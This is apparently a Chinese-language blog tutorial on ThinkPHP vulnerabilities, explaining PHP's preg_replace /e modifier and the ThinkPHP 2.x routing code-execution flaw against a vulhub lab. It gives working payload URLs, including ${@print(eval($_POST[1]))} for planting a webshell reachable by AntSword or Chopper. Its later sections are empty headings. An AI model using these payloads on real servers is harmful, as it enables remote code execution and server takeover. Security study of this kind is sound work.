目 录CONTENT

文章目录

ThinkPHP漏洞

Administrator
2024-06-16 / 0 评论 / 0 点赞 / 18 阅读 / 0 字

b ThinkPHP漏洞

一.什么是ThinkPHP

ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,遵循Apache 2开源协议发布,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。

ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP 5.0以上版本,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。

ThinkPHP发展至今,

核心版本主要有以下几个系列,ThinkPHP 2系列、ThinkPHP 3系列、ThinkPHP 5系列、ThinkPHP 6系列,各个系列之间在代码实现及功能方面,有较大区别。

其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而ThinkPHP 3系列也积累了较多的历史用户。版本细分如下图所示

二.2.x/3.0 Getshell

在 PHP 中,preg_replace 函数用于执行一个正则表达式的搜索和替换操作。 在 PHP 5.5.0 之前,preg_replace 有一个特性,允许你使用 /e 修饰符, 这个修饰符会让你在替换字符串中执行 PHP 代码。然而,这个功能由于安全风险较高, 在 PHP 5.5.0 后被弃用,并在 PHP 7.0.0 中被完全移除。 preg_replace('正则规则','替换字符','目标字符') 具体来说,/e 修饰符的作用是将匹配到的内容当作 PHP 代码执行, 并用执行结果来替换匹配到的部分。下面是一个简单的

<?php
$originstr = "hello world";
$str2 = "would";
$res = preg_replace('/world/',$str2,$originstr);
echo $res;

?>

这行代码使用 preg_replace 函数进行正则表达式替换。

/world/ 是正则表达式模式,它匹配字符串中的 "world"。

替换字符串是 $str2,即 "would"。

$originstr 是要进行替换操作的字符串 "hello world"。

  • 正则表达式 /world/ 会在 hello world 中查找 "world"。

  • 找到 "world" 后,将其替换为 "would"。

输出

接下来这段代码的执行步骤是:

  1. 找到$originstr中的"world"。

  2. 执行phpinfo();,该函数输出PHP配置信息。

  3. 将"world"替换为phpinfo();的输出结果。

/e修饰符,$str2中的内容phpinfo();被作为PHP代码执行,而不是简单地替换为字符串。

$str2 = "phpinfo();";

preg_replace('/world/e'

<?php
$originstr = "hello world";
$str2 = "phpinfo();";
$res = preg_replace('/world/e',$str2,$originstr);
echo $res;

?>

示例:


<?php
// 接收GET请求,并且把$_GET数组里面a的值赋值给$subject
// ?a=123 => $subject=123
$subject = @$_GET['a'];

// 在正则匹配中去匹配一个数字可以使用\d,但是一个\d只能匹配一个,要匹配所有的\d+
// \w是匹配单个单词, \w+是匹配一个或多个单词;连续的单词即abc
// 空格和换行都不匹配
$pattern = '/\w+/e';

$replacement = 'hello';
// 执行替换

$result = preg_replace($pattern, $replacement, $subject);
// 输出结果,实际上会执行 phpinfo() 函数

echo $result;
?>

执行

这是未定义的意思

在变量前面添加@就可以了

$subject = @$_GET['a'];

然后执行

如果这里的替换部分可以自定义,我们就可以


<?php
// 接收GET请求,并且把$_GET数组里面a的值赋值给$subject
// ?a=123 => $subject=123
$subject = @$_GET['a'];

// 在正则匹配中去匹配一个数字可以使用\d,但是一个\d只能匹配一个,要匹配所有的\d+
// \w是匹配单个单词, \w+是匹配一个或多个单词;连续的单词即abc
// 空格和换行都不匹配
$pattern = '/\w+/e';

$replacement = @$_GET['a'];
// 执行替换

$result = preg_replace($pattern, $replacement, $subject);
// 输出结果,实际上会执行 phpinfo() 函数

echo $result;
?>

http://192.168.100.132/ttt.php?a=phpinfo()

接下里继续看ThinkPHP 2.x版本中的源码

漏洞产生的原因是因为ThinkPHP 2.x版本中,
使用preg_replace ('正则规则','替换字符','目标字符')的/e(可执行模式)模式匹配路由:
 
$depr = '\/';
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$res = preg_replace(‘/(\w+)'.$depr.'([^'.$depr.'\/]+)/e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

总体意思就是用explode函数把url拆开,然后再用implode函数拼接起来,然后带入preg_replace里面。

正则简化后就是/(\w+)\/([^\/\/]+)/e,解释一下,\w+表示匹配任意长的[字母数字下划线]字符串,
然后匹配 / 符号,再匹配除了 / 符号以外的字符


意思匹配连续的两个参数。

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

先来一步一步拆分

<?php
//这行代码输出服务器请求的路径信息。
echo $_SERVER['PATH_INFO'];
//$depr = '\/';
//$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
//$res = preg_replace(‘/(\w+)'.$depr.'([^'.$depr.'\/]+)/e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
?>

未定义PATH_INFO 是因为我们没有给路径

添加上路径即可

<?php

// 这行代码输出服务器请求的路径信息。
echo $_SERVER['PATH_INFO'];

// 这行代码定义了分隔符,分隔符是 \/。在正则表达式中,斜杠/通常需要转义。
$depr = '\/';

// 这行代码使用 explode 函数将 $_SERVER['PATH_INFO'] 按照分隔符 \/ 拆分为数组 paths,
// 并去除路径信息两端的斜杠。
// 其中 trim() 用于去除 $_SERVER['PATH_INFO'] 两端的斜杠。
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));

print_r ($paths);

// 这行代码尝试使用 preg_replace 进行正则替换,但有以下几个问题:
// 使用了错误的引号(‘ 和 ’),应改为标准的单引号(')。
// 使用了废弃的 e 修饰符。
// 存在潜在的安全隐患,因为 e 修饰符允许执行任意PHP代码。
//$res = preg_replace(‘/(\w+)'.$depr.'([^'.$depr.'\/]+)/e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

?>

然后是最后一行

$res = preg_replace(‘/(\w+)'.$depr.'([^'.$depr.'\/]+)/e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

// 可以看出这样
$res = preg_replace(‘

/(\w+)'.$depr.'([^'.$depr.'\/]+)/e', 
这个正则表达式模式用于匹配特定格式的字符串,并分组捕获匹配的部分。

(\w+):匹配一个或多个字母、数字或下划线,并将其捕获到组1。
$depr:表示分隔符(这里是 /),用来分隔键和值。
([^' . $depr . '\/]+):匹配除分隔符之外的一个或多个字符,并将其捕获到组2。
/e:修饰符,表示将替换部分作为PHP代码执行(已在现代PHP版本中被弃用)


'$var[\'\\1\']="\\2";',   // 替换字符
替换字符串中包含PHP代码,使用了捕获组。

\'\\1\':表示第一个捕获组的内容(键)。
\"\\2\":表示第二个捕获组的内容(值)。
$var['\\1']="\\2";:将第一个捕获组作为键,第二个捕获组作为值,存储到数组 $var 中。


implode($depr,$paths));   // 原始字符
将数组 $paths 中的元素用分隔符连接成一个字符串。
假设 $paths 数组为 ['key1', 'value1', 'key2', 'value2'],
则 implode($depr, $paths) 结果为 key1/value1/key2/value2。

整个过程
假设 $_SERVER['PATH_INFO'] 为 /key1/value1/key2/value2,则 trim($_SERVER['PATH_INFO'], '/') 结果为 key1/value1/key2/value2,然后 explode('/', trim($_SERVER['PATH_INFO'], '/')) 结果为 ['key1', 'value1', 'key2', 'value2']。

先看简化版的

<?php
echo $_SERVER['PATH_INFO'];
$depr = '\/';
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));

print_r (implode($depr,$paths));

?>

假如url是这样 : 127.0.0.1/index.php?s=1/2/3/4/5/6
也就是每次匹配 1和2 、 3和4 、 5和6。

然后\\1是取第一个括号里的匹配结果,
\\2是取第二个括号里的匹配结果,
也就是\\1 取的是 1 3 5,\\2 取的是 2 4 6。


那么就是连续的两个参数,一个被当成键名,一个被当成键值,传进了var数组里面。
而双引号是存在在 \\2 外面的,那么就说明我们要控制的是偶数位的参数。

127.0.0.1:8080/indexphp?s=1/2/3/${phpinfo()}/5/6 

=====================================

tp2.php

<?php
$depr = '/'; // 分隔符,可以是其它符号
$paths = ['some', '${ phpinfo()}', 'to', '2'];
$var = [];

$res = preg_replace('/(\w+)' . preg_quote($depr, '/') . '([^' . preg_quote($depr, '/') . '\/]+)/e', '$var[\'\\1\']="\\2";', implode($depr, $paths));

// 输出结果
print_r($var);
?>

不是每个版本都可以

暂时测得5.4.45是可以的

可以执行

同样的

<?php
$depr = '/'; // 分隔符,可以是其它符号
$paths = ['some', '${@eval($_REQUEST[8])}', 'to', '2'];
$var = [];

$res = preg_replace('/(\w+)' . preg_quote($depr, '/') . '([^' . preg_quote($depr, '/') . '\/]+)/e', '$var[\'\\1\']="\\2";', implode($depr, $paths));

// 输出结果
print_r($var);
?>

http://192.168.100.115/tp2.php?8=phpinfo();

接下来启动vulhub的tp2环境

先停掉之前启动的tp5的环境

停止的命令是

docker-compose down -v

然后启动tp2

启动查看靶机8080端口

tp2的漏洞很简单,

只需要在url的偶数位执行php代码即可

http://192.168.100.104:8080/index.php?s=1/2/3/${phpinfo()}/5/6

第二位好像不行,就用第4位。

然后想用蚁剑或者菜刀连的话需要

/index.php?s=1/2/3/${@print(eval($_POST[1]))}

http://192.168.100.104:8080/index.php?s=1/2/3/${@print(eval($_POST[1]))}

三.5.0 Getshell

四.TP框架其它漏洞

五.漏洞利用工具

-.-

0

评论区